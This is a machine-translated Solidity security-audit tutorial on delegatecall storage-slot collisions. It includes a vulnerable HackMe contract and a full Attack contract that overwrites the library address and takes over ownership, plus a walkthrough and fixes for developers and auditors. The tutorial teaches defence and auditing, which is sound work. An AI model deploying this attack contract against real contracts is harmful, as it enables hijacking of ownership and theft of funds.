当前位置:网站首页>Introduction to smart contract security audit delegatecall (2)
Introduction to smart contract security audit delegatecall (2)
2022-06-24 18:50:00 【Slow fog technology】
By: The small white @ Slow fog security team
Background Overview
Last article We learned what is delegatecall Function and a basic vulnerability , The purpose of this article is to deepen our understanding of delegatecall And take everyone to play some exciting , Win an advanced version of the vulnerability contract .
Pre knowledge
Here we will not repeat the previous basic knowledge , Those who don't understand or forget can look at the last article :《 Introduction to smart contract security audit —— delegatecall (1)》.
Vulnerability example
contract Lib { uint public someNumber; function doSomething(uint _num) public { someNumber = _num; }}contract HackMe { address public lib; address public owner; uint public someNumber; constructor(address _lib) { lib = _lib; owner = msg.sender; } function doSomething(uint _num) public { lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num)); }}Vulnerability analysis
The target of this attack is still to gain HackMe In the contract owner jurisdiction , We can see two contracts except HackMe The constructor in the contract can modify the owner Other places have not been modified owner Function of . How do we complete the attack ? Here's a little trick , You can think about it , It can also verify your mastery of previous knowledge and whether your thinking is active .
Do you have any ideas ? It doesn't matter if you don't have any ideas , Let's see how the attack is accomplished :
Attack contracts
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract Attack { // Make sure the storage layout is the same as HackMe // This will allow us to correctly update the state variables address public lib; address public owner; uint public someNumber; HackMe public hackMe; constructor(HackMe _hackMe) { hackMe = HackMe(_hackMe); } function attack() public { // override address of lib hackMe.doSomething(uint(uint160(address(this)))); // pass any number as input, the function doSomething() below will // be called hackMe.doSomething(1); } // function signature must match HackMe.doSomething() function doSomething(uint _num) public { owner = msg.sender; }}Let's first look at the attack process :
- Alice Deploy Lib contract ;
- Alice Deploy HackMe Contract and pass... In the constructor Lib The address of the contract ;
- The attacker Eve Deploy Attack Contract and pass... In the constructor HackMe The address of the contract ;
- Attacker calls Attack.attack() Function will HackMe In the contract owner Become yourself .
What's the matter ? In fact, this attack method is cleverly used delegatecall This function modifies storage Characteristics of type variables :delegatecall The execution environment of the function is the caller's environment and for storage The type variable is modified according to the slot position of the called contract variable .
- Attack.attack() Function first converts its own address to uint256 type ( This step is to be compatible with the data types in the target contract ) First call HackMe.doSomething() function ;
- HackMe.doSomething() Function USES delegatecall Function with the passed in Attack The address of the contract calls Lib.doSomething() function ;
- You can see Lib.doSomething() The function stores the contract at slot0 Change the parameter of to the passed in value , So when HackMe The contract uses delegatecall call Lib.doSomething() Function will also change itself in slot0 The value of the variable stored in the location , Also is to lib Parameters ( What's stored here is Lib The address of the contract ) Change to our incoming Attack The address of the contract . Before this time HackMe.lib Parameter Lib The address of the contract is changed to the one we sent in Attack The address of the contract ;
- Attack.attack() Function is called again HackMe.doSomething() function , Because in the last step we have HackMe.lib Change the variable to Attack The address of the contract , At this time HackMe.doSomething() The function will no longer call the previous Lib The contract is to use delegatecall To call Attack.doSomething() function . Now let's look at Attack The writing of the contract , It is found that the storage location of its variables is intentionally and HackMe The contract is consistent , And it's not hard to find Attack.doSomething() The contents of the function are also written as owner = msg.sender, This operation changes the storage location in the contract to slot1 The variable of . therefore HackMe The contract uses delegatecall call Attack.doSomething() The function will store the contract in the location slot1 The variable of owner It is amended as follows msg.sender That is to say Eve The address of , At this point, the attacker completed his attack .
Repair suggestions
As a developer
- In the use of delegatecall It should be noted that the address of the called contract cannot be controllable ;
- In a complex contract environment, you need to pay attention to the declaration order and storage location of variables . Because use delegatecall When making an external call, the contract will be modified according to the data structure of the called contract slot Data stored in , When the data structure changes, this may cause unexpected variable coverage .
As an auditor
- In the process of audit, there is a use in the contract delegatecall Pay attention to whether the called contract address is controllable ;
- When the function in the called contract is modified storage In the case of variables, pay attention to the position of the variable storage slot , Avoid the data stored in this contract due to inconsistent data structure storage The variable is incorrectly overwritten .
notes : This article refers to 《Solidity by Example》
Reference link :
https://solidity-by-example.org/hacks/delegatecall
This article was first published in :https://mp.weixin.qq.com/s/6sAqyjv4gI3c9DzqoYhybA
边栏推荐
- Stored procedures in sqlserver
- [leetcode] rotation series (array, matrix, linked list, function, string)
- 解决执行MapReduce程序控制台没有日志信息WARN Please initialize the log4j system properly
- Leetcode weekly buckle 281
- Data modeling technology of Business Intelligence BI
- Navigator object
- Flex box flex attribute
- 如何在 R 中执行稳健回归
- How to use Fisher's least significant difference (LSD) in R
- 25.sql statement differentiation
猜你喜欢

About pyqt5 to realize paging function (one window implements different interfaces)

Freeswitch使用originate转dialplan

Vite+web3:报错出现ReferenceError: process is not defined

Microsoft planetary computer (MPC) platform introduction, registration and comparison

The sharp sword of API management -- eolink

Recommend a distributed JVM monitoring tool, which is very practical!

Interpreting harmonyos application and service ecology

Introduction and download tutorial of two types of soil data

Introduction to alos satellite

Microservice system design -- data model and system architecture design
随机推荐
如何在 R 中使用 Fisher 的最小显着性差异 (LSD)
Leetcode daily question solution: 717 1-bit and 2-bit characters - reverse order
Knowledge points in T-SQL
Get the actual name of the method parameter through the parameter
Different JVM
Introduction to alos satellite
PLC功能块系列之多段曲线控温FB(SCL程序)
Set up your own website (8)
Navigator object
为什么 Nodejs 这么快?
JS picture switching case
Application service access configuration parameters
JS local storage
Building MVC system based on three-tier structure
Creating a new MySQL user in Amazon RDS environment - creating a new MySQL user in Amazon RDS environment
Microservice system design -- data model and system architecture design
The sharp sword of API management -- eolink
Vite+web3: referenceerror: process is not defined
Get max value of a bit column - get max value of a bit column
In depth learning of movement methods